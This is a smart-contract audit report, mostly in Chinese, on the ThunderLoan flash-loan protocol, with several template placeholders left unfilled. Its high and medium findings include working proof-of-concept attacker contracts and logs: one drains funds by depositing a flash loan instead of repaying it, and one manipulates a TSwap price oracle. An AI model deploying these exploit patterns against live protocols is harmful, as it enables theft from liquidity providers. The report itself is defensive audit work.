

Protocol Audit Report

Version 1.0

Jaunepr

2025 年 2 月 19 日

Protocol Audit Report

Jaunepr

Feb 19, 2025

Prepared by: Jaunepr Lead Auditors: - Jaunepr

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
- Summary
 - Files Summary
 - Files Details
 - Issue Summary
- Findings
 - High Findings
 - ★ [H-1] `ThunderLoan::deposit`函数中的`ThunderLoan::updateExchangeRate`有问题, 会使得 protocol 以为产生了额外的 fee, 导致 `exchangeRate` 变大, 使 protocol 余额不足, 以至于无法赎回。

- ★ [H-2] 通过调用`ThunderLoan::deposit`函数来代替`ThunderLoan::repay`进行还款，可以窃取闪电贷的资金
- ★ [H-3] 当在升级代理后，混淆了`ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`两个存储变量的位置，造成存储位置碰撞。
- Medium Findings
 - ★ [M-1] 在`ThunderLoan::getCalculatedFee`中，计算 fee 利用的到了 Tswap 价格预言机。这种价格预言机会受到攻击者的价格操纵，导致资产价格不稳定并从中获利
- Low Findings
 - ★ L-1: Centralization Risk for trusted owners
 - ★ L-2: Missing checks for `address(0)` when assigning values to address state variables
 - ★ L-3: `public` functions not used internally could be marked `external`
 - ★ L-4: Event is missing `indexed` fields
 - ★ L-5: PUSH0 is not supported by all chains
 - ★ L-6: Empty Block
 - ★ L-7: Unused Custom Error
 - ★ L-8: Constants should be defined and used instead of literals

Protocol Summary

Protocol description blablabla...

Disclaimer

(Blablabla) The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in the document correspond the following commit hash:

```
1 Commit Hash:
```

Scope

Roles

Executive Summary

审查过程摘要

Summary

Files Summary

Key	Value
.sol Files	8
Total nSLOC	512

Files Details

Filepath	nSLOC
src/interfaces/IFlashLoanReceiver.sol	13
src/interfaces/IPoolFactory.sol	4
src/interfaces/ITSwapPool.sol	4
src/interfaces/IThunderLoan.sol	4
src/protocol/AssetToken.sol	65
src/protocol/OracleUpgradeable.sol	27
src/protocol/ThunderLoan.sol	223
src/upgradedProtocol/ThunderLoanUpgraded.sol	172
Total	512

Issue Summary

Category	No. of Issues
High	3
Mediem	1
Low	8

Findings

High Findings

[H-1] ThunderLoan::deposit 函数中的 ThunderLoan::updateExchangeRate 有问题，会使得 protocol 以为产生了额外的 fee，导致 exchangeRate 变大，使 protocol 余额不足，以至于无法赎回。

Description: 在ThunderLoan::deposit中，用户存入 underlying，根据 exchangeRate 获得对应的 assetToken，此时并不收取 fee，不必根据计算的 fee 更新 exchangeRate；

```
1     function deposit(IERC20 token, uint256 amount) external revertIfZero(amount
    ) revertIfNotAllowedToken(token) {
2         AssetToken assetToken = s_tokenToAssetToken[token];
3         uint256 exchangeRate = assetToken.getExchangeRate();
4         uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
5         emit Deposit(msg.sender, token, amount);
6         assetToken.mint(msg.sender, mintAmount);
7         //@audit-high
8         >@ uint256 calculatedFee = getCalculatedFee(token, amount);
9         >@ assetToken.updateExchangeRate(calculatedFee);
10        token.safeTransferFrom(msg.sender, address(assetToken), amount);
11    }
```

Impact: - **ThunderLoan::Redeem**函数会失效，因为 protocol 会认为需要赎回的 underlying 数量大于其余额。导致账对不上，使流动性提供者可能得到或多或少的回报。

Proof of Concept: 1. LP deposits 2. It is now impossible for LP to redeem

请将下面的代码放置 ThunderLoanTest.t.sol 中;

Proof of code

```
1     function testRedeem() public setAllowedToken hasDeposits {
2         vm.startPrank(liquidityProvider);
3         thunderLoan.redeem(tokenA, DEPOSIT_AMOUNT);
4         vm.stopPrank();
5         assertEq(tokenA.balanceOf(address(thunderLoan)), DEPOSIT_AMOUNT);
6     }
```

Recommended Mitigation: 移除 deposit 中错误更新 exchangeRate 的行

```
1     function deposit(IERC20 token, uint256 amount) external revertIfZero(amount
    ) revertIfNotAllowedToken(token) {
2         AssetToken assetToken = s_tokenToAssetToken[token];
3         uint256 exchangeRate = assetToken.getExchangeRate();
4         uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
5         emit Deposit(msg.sender, token, amount);
6         assetToken.mint(msg.sender, mintAmount);
7
8         - uint256 calculatedFee = getCalculatedFee(token, amount);
9         - assetToken.updateExchangeRate(calculatedFee);
10
11        token.safeTransferFrom(msg.sender, address(assetToken), amount);
12    }
```

[H-2] 通过调用 ThunderLoan::deposit 函数来代替 ThunderLoan::repay 进行还款，可以窃取闪电贷的资金

Description: 由于闪电贷是根据余额判断用户是否归还贷款，攻击者可以通过调用 deposit 函数来满足偿还贷款条件，同时被允许再赎回刚存入的资金，来窃取贷款。

Impact: 这个漏洞会榨干池子里的资金，是流动性提供者的钱被窃取完。

Proof of Concept: 1. 攻击者调用 flashloan；2. 接收者合约收到贷款，执行 executeOperation 时，再将贷款和 fee 存入 flashloan；3. flashloan 检查条件满足还款；4. 接收者合约再通过 redeem 函数，赎回存入的资金 (flashloan + fee)；

请将下面的代码放置 ThunderLoanTest.t.sol 中

Proof of code

```
1      function testDepositInsteadRedeem() public setAllowedToken hasDeposits {
2          uint256 amountToBorrow = 50e18;
3          attackDepositInsteadRedeem adir = new attackDepositInsteadRedeem(
4              address(thunderLoan));
5          console.log("adir has starting tokenA amount is :", tokenA.balanceOf(
6              address(adir)));
7          uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
8          vm.startPrank(user);
9          tokenA.mint(address(adir), fee); // adir 只有
10         thunderLoan.flashloan(address(adir), tokenA, amountToBorrow, "");
11
12         console.log("adir has tokenA amount before the redeem is :", tokenA.
13             balanceOf(address(adir)));
14         adir.redeemAttack();
15         vm.stopPrank();
16         console.log("adir has ending tokenA amount is :", tokenA.balanceOf(
17             address(adir)));
18         console.log(
19             "assetToken contract has tokenA amount is :",
20             tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA)))
21         );
22         assert(tokenA.balanceOf(address(adir)) > 50e18);
23     }
24     contract attackDepositInsteadRedeem is IFlashLoanReceiver {
25         ThunderLoan thunderLoan;
26         IERC20 s_token;
27         AssetToken assetToken;
28
29         constructor(address _thunderLoan) {
30             thunderLoan = ThunderLoan(_thunderLoan);
31         }
32
33         function executeOperation(
34             address token,
```

```

35         uint256 amount,
36         uint256 fee,
37         address, /*initiator*/
38         bytes calldata /* params */
39     )
40     external
41     returns (bool)
42     {
43         s_token = IERC20(token);
44         assetToken = thunderLoan.getAssetFromToken(s_token);
45         s_token.approve(address(thunderLoan), amount + fee);
46         thunderLoan.deposit(IERC20(token), amount + fee);
47         return true;
48     }
49
50     function redeemAttack() public {
51         uint256 AssetTokenamount = assetToken.balanceOf(address(this));
52         thunderLoan.redeem(s_token, AssetTokenamount);
53     }
54 }

```

输出日志如下

```

1 $ forge test --mt testDepositInsteadRedeem -vvv
2 [X] Compiling...
3 [X] Compiling 1 files with Solc 0.8.20
4 [X] Solc 0.8.20 finished in 1.53s
5 Compiler run successful!
6
7 Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
8 [PASS] testDepositInsteadRedeem() (gas: 1387855)
9 Logs:
10  adir has starting tokenA amount is : 0
11  adir has tokenA amount before the redeem is : 0
12  adir has ending tokenA amount is : 5014999999999999999
13  assetToken contract has tokenA amount is : 950000000000000000001

```

Recommended Mitigation: 1. 修改 flashloan 函数中确认归还贷款的条件；2. 在 deposit 函数中添加一个判断，使某贷款进行时，不允许再调用 deposit 函数；

```

1     function deposit(IERC20 token, uint256 amount) external revertIfZero(amount
2 +         ) revertIfNotAllowedToken(token) {
3 +         if (s_currentlyFlashLoaning[token]) {
4 +             revert ThunderLoan__currentlyFlashLoaning();
5         }
6         AssetToken assetToken = s_tokenToAssetToken[token];
7         uint256 exchangeRate = assetToken.getExchangeRate();
8         uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
9             exchangeRate;
10        emit Deposit(msg.sender, token, amount); /
11        assetToken.mint(msg.sender, mintAmount);
12
13        // uint256 calculatedFee = getCalculatedFee(token, amount);
14        // assetToken.updateExchangeRate(calculatedFee);
15        token.safeTransferFrom(msg.sender, address(assetToken), amount);

```

```
14
15 }
```

[H-3] 当在升级代理后，混淆了 `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning` 两个存储变量的位置，造成存储位置碰撞。

Description: `ThunderLoan.sol` 的两个存储变量的顺序是：

```
1      uint256 private s_feePrecision;
2      uint256 private s_flashLoanFee; // 0.3% ETH fee
```

而期望升级后的合约 `ThunderLoanUpgraded.sol` 存储顺序发生变化，且常量 `FEE_PRECISION` 不再存储到 storage slot 中。

```
1      uint256 private s_flashLoanFee; // 0.3% ETH fee
2      uint256 public constant FEE_PRECISION = 1e18;
```

由于 Solidity 的存储方式，在代理升级后，`s_flashLoanFee` 会得到 `s_feePrecision` 的值，并且你在升级合约时将不可以调整 storage 变量的位置

Impact: 在升级后，`s_flashLoanFee` 会得到 `s_feePrecision` 的值，意味着升级之后，用户进行闪电贷时将会被收取错误的 fee，另外 `s_currentlyFlashLoaning` 映射也会发生错误

Proof of Concept:

Code

添加下列代码至 `ThunderLoanTest.t.sol`.

```
1  ``javascript
2  // You'll need to import `ThunderLoanUpgraded` as well
3  import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
   ThunderLoanUpgraded.sol";
4
5  function testUpgradeBreaks() public {
6      uint256 feeBeforeUpgrade = thunderLoan.getFee();
7      vm.startPrank(thunderLoan.owner());
8      ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
9      thunderLoan.upgradeTo(address(upgraded));
10     uint256 feeAfterUpgrade = thunderLoan.getFee();
11
12     assert(feeBeforeUpgrade != feeAfterUpgrade);
13 }
14 ...
```

你也可以通过运行 `forge inspect ThunderLoan storage` 和 `forge inspect ThunderLoanUpgraded storage` 命令来查看 storage 分布的不同。

Recommended Mitigation: 可以设置一个空插槽来保证 storage 变量位置的不变。

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

Mediem Findings

[M-1] 在 `ThunderLoan::getCalculatedFee` 中，计算 fee 利用的到了 Tswap 价格预言机。这种价格预言机会受到攻击者的价格操纵，导致资产价格不稳定并从中获利

Description: TSwap 协议是一个基于恒定乘积公式的 AMM（自动做市商）。代币的价格取决于池两侧的储备金数量。正因为如此，恶意用户很容易通过在同一笔交易中买卖大量代币来操纵代币的价格，基本上忽略了协议费用。

Impact: ThunderLoan 流动性提供者会因此大大减少他们提供流动性的收益。

Proof of Concept: 1. 假设我们向 flashloan 借贷 100 个 token，本应该归还的 token 数应该是 100 + feeAmount; 2. 当我们用 50 个 token 来购买 weth，来操纵价格，会导致 fee 降低；

将下列代码放置 `ThunderLoanTest.t.sol`

POC

```
1 {
2     function testOracleManipulation() public {
3         // 1. set up contract
4         thunderLoan = new ThunderLoan();
5         tokenA = new ERC20Mock();
6         weth = new ERC20Mock();
7         proxy = new ERC1967Proxy(address(thunderLoan), "");
8         BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
9         // Create a TSwap Dex between WETH/ TokenA and initialize Thunder Loan
10        address tswapPool = pf.createPool(address(tokenA));
11        thunderLoan = ThunderLoan(address(proxy)); //
12        thunderLoan.initialize(address(pf));
13
14        // 2. fund tswap pool
15        vm.startPrank(liquidityProvider);
16        tokenA.mint(liquidityProvider, 100e18);
17        tokenA.approve(tswapPool, 100e18);
18        weth.mint(liquidityProvider, 100e18);
19        weth.approve(tswapPool, 100e18);
20        BuffMockTSwap(tswapPool).deposit(100e18, 50e18, 100e18, block.timestamp);
21        vm.stopPrank();
22
23        // 3. fund ThunderLoan
24        vm.prank(thunderLoan.owner());
25        thunderLoan.setAllowedToken(tokenA, true);
```

```
26     vm.startPrank(liquidityProvider);
27     tokenA.mint(liquidityProvider, 1000e18);
28     tokenA.approve(address(thunderLoan), 1000e18);
29     thunderLoan.deposit(tokenA, 1000e18);
30     vm.stopPrank();
31
32     // 100 WETH and 100 TokenA on TSwap
33     // 1000 TokenA in ThunderLoan
34
35     // 4. execute 2 flashloan
36     // 记录当前 flash loan fee
37     uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, 100e18);
38     console.log("calculated normal Fee:", calculatedFee);
39     // 0.148073705159559194
40
41     // * Step 1: Take out a flash loan of 50 tokenA
42     attackFlashLoanReceiver atr =
43         new attackFlashLoanReceiver(tswapPool, address(thunderLoan),
44             address(thunderLoan.getAssetFromToken(tokenA)));
45     vm.startPrank(user);
46     tokenA.mint(address(atr), 100e18);
47     thunderLoan.flashloan(address(atr), tokenA, 50e18, "");
48     vm.stopPrank();
49     // * Step 2: Swap it on the Dex. This will drastically alter the token
50     // ratio of the pool.
51     // * Step 3: Take out _another_ flash loan to illustrate how much
52     // cheaper the fee is.
53     uint256 attackedFee = atr.feeOne() + atr.feeTwo();
54     console.log("attack feeone:", atr.feeOne());
55     console.log("attack feetwo:", atr.feeTwo());
56     console.log("attack fee:", attackedFee);
57     assert(calculatedFee > attackedFee);
58 }
59
60 contract attackFlashLoanReceiver is IFlashLoanReceiver {
61     ThunderLoan thunderLoan;
62     address repayAddress;
63     BuffMockTSwap tswapPool;
64
65     // 1. Swap TokenA borrowed for WETH
66     // 2. Take out a second flash loan to compare fees
67     constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
68         tswapPool = BuffMockTSwap(_tswapPool);
69         thunderLoan = ThunderLoan(_thunderLoan);
70         repayAddress = _repayAddress;
71     }
72
73     bool attacked;
74     uint256 public feeOne;
75     uint256 public feeTwo;
76
77     function executeOperation(
78         address token,
79         uint256 amount,
80         uint256 fee,
```

```
78     address, /*initiator*/
79     bytes calldata /* params */
80 )
81     external
82     returns (bool)
83 {
84     // * swap borrowed TokenA for WETH
85     // * Take out a second loan to compare fees to
86     if (!attacked) {
87         attacked = true;
88         feeOne = fee;
89         // swap
90         uint256 wethBrouht = tswapPool.getOutputAmountBasedOnInput(50e18,
91             100e18, 100e18);
92         IERC20(token).approve(address(tswapPool), amount);
93         tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(amount,
94             wethBrouht, block.timestamp);
95         // take out second loan
96         thunderLoan.flashloan(address(this), IERC20(token), 50e18, "");
97         // repay
98         IERC20(token).transfer(repayAddress, amount + fee);
99     } else {
100         // calculate fee and repay
101         feeTwo = fee;
102         IERC20(token).transfer(repayAddress, amount + fee);
103     }
104     return true;
105 }
```

```
1  $ forge test --mt testOracleManipulation -vvv
2  [X] Compiling...
3  [X] Compiling 1 files with Solc 0.8.20
4  [X] Solc 0.8.20 finished in 1.53s
5  Compiler run successful!
6
7  Ran 1 test for test/unit/OracleManipulateTest.t.sol:OracleManipulateTest
8  [PASS] testOracleManipulation() (gas: 1886190)
9  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 844.34µs (104.57µs
   CPU time)
10
11 Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
12 [PASS] testOracleManipulation() (gas: 8927258)
13 Logs:
14   calculated normal Fee: 296147410319118389
15   attack feeone: 148073705159559194
16   attack feetwo: 66093895772631111
17   attack fee: 214167600932190305
18
19 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.34ms (600.14µs
   CPU time)
20
21 Ran 2 test suites in 4.35ms (2.18ms CPU time): 2 tests passed, 0 failed, 0
   skipped (2 total tests)
```

当test通过时，你可以看到，经过操纵后的fee明显下降。

Recommended Mitigation: 使用其他抗干扰的价格预言机

Low Findings

L-1: Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 272

```
1    ) external onlyOwner returns (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 313

```
1    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/protocol/ThunderLoan.sol Line: 345

```
1    ) internal override onlyOwner {}
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 238

```
1    function setAllowedToken(IERC20 token, bool allowed) external  
    onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
1    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
1    function _authorizeUpgrade(address newImplementation) internal  
    override onlyOwner { }
```

L-2: Missing checks for address (0) when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/protocol/OracleUpgradeable.sol Line: 21

```
1    s_poolFactory = poolFactoryAddress;
```

L-3: public functions not used internally could be marked external

Instead of marking a function as **public**, consider marking it as **external** if it is not used internally.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 261

```
1      function repay(IERC20 token, uint256 amount) public {
```

- Found in src/protocol/ThunderLoan.sol Line: 327

```
1      function getAssetFromToken(IERC20 token) public view returns (
    AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 331

```
1      function isCurrentlyFlashLoanng(IERC20 token) public view returns (
    bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

```
1      function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

```
1      function getAssetFromToken(IERC20 token) public view returns (
    AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

```
1      function isCurrentlyFlashLoanng(IERC20 token) public view returns (
    bool) {
```

L-4: Event is missing indexed fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

9 Found Instances

- Found in src/protocol/AssetToken.sol Line: 31

```
1      event ExchangeRateUpdated(uint256 newExchangeRate);
```

- Found in src/protocol/ThunderLoan.sol Line: 117

```
1 event Deposit(
```

- Found in src/protocol/ThunderLoan.sol Line: 122

```
1 event AllowedTokenSet(
```

- Found in src/protocol/ThunderLoan.sol Line: 127

```
1 event Redeemed(
```

- Found in src/protocol/ThunderLoan.sol Line: 133

```
1 event FlashLoan(
```

- Found in src/upgradeProtocol/ThunderLoanUpgraded.sol Line: 105

```
1 event Deposit(address indexed account, IERC20 indexed token, uint256 amount);
```

- Found in src/upgradeProtocol/ThunderLoanUpgraded.sol Line: 106

```
1 event AllowedTokenSet(IERC20 indexed token, AssetToken indexed asset, bool allowed);
```

- Found in src/upgradeProtocol/ThunderLoanUpgraded.sol Line: 107

```
1 event Redeemed(
```

- Found in src/upgradeProtocol/ThunderLoanUpgraded.sol Line: 110

```
1 event FlashLoan(address indexed receiverAddress, IERC20 indexed token, uint256 amount, uint256 fee, bytes params);
```

L-5: PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

8 Found Instances

- Found in src/interfaces/IFlashLoanReceiver.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/interfaces/IPoolFactory.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/interfaces/ITSwapPool.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/interfaces/IThunderLoan.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/protocol/AssetToken.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/protocol/OracleUpgradeable.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/protocol/ThunderLoan.sol Line: 64

```
1 pragma solidity 0.8.20;
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 64

```
1 pragma solidity 0.8.20;
```

L-6: Empty Block

Consider removing empty blocks.

2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 343

```
1 function _authorizeUpgrade(
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
1 function _authorizeUpgrade(address newImplementation) internal  
  override onlyOwner { }
```

L-7: Unused Custom Error

it is recommended that the definition be removed when custom error is unused

2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 95

```
1      error ThunderLoan__ExchangeRateCanOnlyIncrease();
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 84

```
1      error ThunderLoan__ExchangeRateCanOnlyIncrease();
```

L-8: Constants should be defined and used instead of literals

it is recommended that use constants to instead of magic numbers.

1 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 173 `solidity s_feePrecision = 1e18;`
`s_flashLoanFee = 3e15; //0.3% ETH fee`